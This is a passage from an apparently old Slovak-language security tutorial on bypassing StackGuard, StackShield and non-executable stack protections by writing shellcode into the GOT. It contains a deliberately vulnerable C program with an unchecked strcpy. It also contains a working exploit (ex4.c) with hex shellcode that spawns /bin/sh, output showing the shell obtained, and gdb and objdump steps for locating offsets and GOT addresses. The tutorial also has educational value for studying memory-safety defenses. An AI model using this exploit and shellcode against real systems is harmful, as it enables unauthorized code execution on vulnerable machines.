[wilder@acheron 2009]$ cat /proc/2009/maps 08048000-08049000 r-xp 00000000 03:01 40822 /home/wilder/vul <- nasa PLT 08049000-0804a000 rw-p 00000000 03:01 40822 /home/wilder/vul <- nasa GOT 40000000-40012000 r-xp 00000000 03:01 114260 /lib/ld-2.1.2.so 40012000-40013000 rw-p 00011000 03:01 114260 /lib/ld-2.1.2.so 40013000-40014000 rw-p 00000000 00:00 0 40019000-400f7000 r-xp 00000000 03:01 114266 /lib/libc-2.1.2.so 400f7000-400fb000 rw-p 000dd000 03:01 114266 /lib/libc-2.1.2.so 400fb000-400ff000 rw-p 00000000 00:00 0 bfffe000-c0000000 rwxp fffff000 00:00 0 <- nas vykonatelny zasobnikGOT vyzera, ze je non-executable - to ale vobec nie je pravda! Dobry Intel dokaze vykonat lubovolny kod v GOT! Vsetko, co nam chyba ku stastiu, je nakopirovat tam nas shellcode a modifikovat prislusnu GOT adresu. Samozrejme shellcode musi byt dostatocne kratky, aby sa nam tam zmestil a sucasne si musime dat pozor, aby sme nemodifikovali nim GOT adresy funkcie, ktora nam ho spusti. Dalsi problem, ktory moze nastat je so signalmi. Handler signalu moze zavolat funkciu uz z poskodenym GOT (nasim shellcodom) a cele to zlyha. Je preto dobre preflaknut shellcodom GOT funkcii, ktore sa nevolaju ziadnym signal handlerom, resp. k volaniu vobec nepride.
vul2.c: char global_buf[64]; int f (char *string, char *dst) { char a[64]; printf ("dst=%x\t -- pred prvym strcpy\n",dst); printf ("string=%x\t -- pred prvym strcpy\n",string); strcpy(a,string); printf ("dst=%x\t -- za prvym strcpy\n",dst); printf ("string=%x\t -- za prvym strcpy\n",string); // nejaky kod pozivajuci nase vstupne retazce strncpy(dst,a,64); printf("dst=%x\t -- po druhom strcpy :)\n",dst); } main (int argc, char ** argv) { f(argv[1],global_buf); printf("Koniec programu\n"); }V uvedenom priklade mame nas cielovy pointer (dst) ulozeny na zasobniku za "canary" slovom a navratovou adresou funkcie, teda ho nemozeme zmenit bez toho, aby sme prepisali "canary" slovo a tym padom neboli chyteni.
A zasluzeny explotik ex4.c:
char shellcode[] = // 48 chars :) "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa" "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04" "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff" "\xff\xff/bin/sh"; char buf[100]; int * p; main() { memset(buf,'A',100); memcpy(buf+4,shellcode,48); p = (int *)(buf+76); // <=- offset druheho argumentu funkcie f() v zasobniku [ dest ] *p=0x080496d4; // <<== GOT adresa printf p= (int *)(buf); *p=0x080496d4+4; // <<== GOT adresa of printf+4, kde bude nakopirovany shellcode execle("./vul2","vul2",buf,0,0); }U mna sa to spravalo asi takto:
[wilder@acheron wilder]$ ./ex4 dst=80497c0 -- pred prvym strcpy string=bfffff90 -- pred prvym strcpy dst=80496d4 -- za prvym strcpy string=41414141 -- za prvym strcpy sh-2.03$Nase mile adresy a offsety do exploitu najdeme jednoducho:
[wilder@acheron wilder]$ gdb ./vul2 GNU gdb 5.0 Copyright 2000 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i586-mandrake-linux"... (gdb) b main Breakpoint 1 at 0x80484f2: file vul2.c, line 21. (gdb) r Starting program: /home/wilder/./vul2 Breakpoint 1, main (argc=1, argv=0xbffff9b4) at vul2.c:21 21 f(argv[1],global_buf); (gdb) s f (string=0x0, dst=0x80497c0 "") at vul2.c:7 7 printf ("dst=%x\t -- pred prvym strcpy\n",dst); (gdb) x a 0xbffff8ec: 0x40012eb0 (gdb) x &dst 0xbffff938: 0x080497c0 0xbffff938 - 0xbffff8ec = 0x4c = 76 --> to je bajtovy rozdiel medzi zaciatkom pola a[] na zasobniku a ulozenym druhym parametrom dst funkcie f() v zasobniku [wilder@acheron wilder]$ objdump --dynamic-reloc vul2 vul2: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 080495dc R_386_GLOB_DAT __gmon_start__ 080495c8 R_386_JUMP_SLOT __register_frame_info 080495cc R_386_JUMP_SLOT __deregister_frame_info 080495d0 R_386_JUMP_SLOT __libc_start_main 080495d4 R_386_JUMP_SLOT printf < = GOT adresa nasho printf() 080495d8 R_386_JUMP_SLOT strcpyTento posledny druh utoku sa mi paci najviac - umiestnenie shellcodu do GOT tabulky s naslednou modifikaciou GOT adresy nasledne volanej funkcie - jednoduche a odolne voci :
Zaver
Hah, zase hore uvedene programy nie su az take neucinne - uvedeny typ
zranitelneho programu bol dost specificky - treba si uvedomit, ze ziadna
z tychto ochran nepredstavuje uplne bezpecnostne riesenie.
To, ze neexistuje sofistikovanejsi exploit na danu chybu odolnejsi voci
uvedenym ochranam, neznamena, ze sa neda napisat.
StackGuard, StackShield aj OpenWall anti-executable stack patch stale
predstavuju 70-90%-ne riesenie voci klasickym zasobnikovym overflowom.
Vzhladom k tomu, ze mnozstvo sucasnych aplikacii zacina byt odolne voci
primitivnym zasobnikovym overflowom, bezpecnostne audity coraz viac odhaluju
ovela komplexnejsie chyby, ktore sa musia exploitovat sofistikovanejsim
sposobom, ktory je velakrat odolny voci jednoduchym ochranam tychto
bezpecnostnych programov.
Addendum
Pouzity SW: Mandrake 7.0, kernel 2.4.0 test6, gcc 2.95, gdb 5.0, biew 5.1.2
Pouzita hudba: Lifeforms (FSOL), Virgin Suicides (Air), Med, Zive Kvety
Referencie
Bulba and Kil3r: Phrack56 (Bypassing Stackguard and Stackshield)
Crispin Cowan: http://www.immunix.org/documentation.html
Taneli Huuskonen: Exploits-devel articles
Lamagra: Format Bugs
Pascal Bouchareine: More info on Format Bugs
wilder, wilder(at)hq.sk
navrat na obsah
co ty na to ? board